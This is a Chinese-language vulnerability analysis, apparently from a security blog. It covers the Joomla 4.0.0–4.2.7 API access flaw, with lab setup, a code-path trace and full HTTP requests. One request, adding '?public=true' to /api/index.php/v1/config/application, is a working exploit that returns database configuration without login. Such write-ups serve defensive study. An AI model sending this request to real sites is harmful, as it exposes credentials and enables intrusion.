
在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
4.0.0 <= Joomla <= 4.2.7
文件下载地址 https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip
利用 phpstudy 搭建漏洞环境
我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php7.4.3 ,同时利用 PhpStorm 来实现对项目的调试

安装完成后
前台

后台

构造路由 /api/index.php/v1/config/application?public=true
返回了数据库的相关信息


经过调试分析发现是对 api 路径下的身份校验进行了绕过,默认在未登录的情况下访问 返回 {"errors":[{"title":"Forbidden"}]}
所以就针对于 api 路径下的身份校验进行具体分析
api/index.php

api/includes/app.php

JoomlaCMSApplicationCMSApplication::execute

JoomlaCMSApplicationApiApplication::doExecute

其中的 $this->route(); 对应了路由应用程序
JoomlaCMSApplicationApiApplication::route


$router 对应了 api 下所有的路由信息,之后调用 parseApiRoute 对路由进行处理
JoomlaCMSRouterApiRouter::parseApiRoute


当 public 为false 时,是禁止外部访问的
GET /api/index.php/v1/config/application HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:XDEBUG_SESSION=PHPSTORM
Connection: close

但是通过路径传入的值在之后可以覆盖替换原本的值

GET /api/index.php/v1/config/application?public=true HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:XDEBUG_SESSION=PHPSTORM
Connection: close

本文作者:蚁景网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/196697.html
必填 您当前尚未登录。 登录? 注册
必填(保密)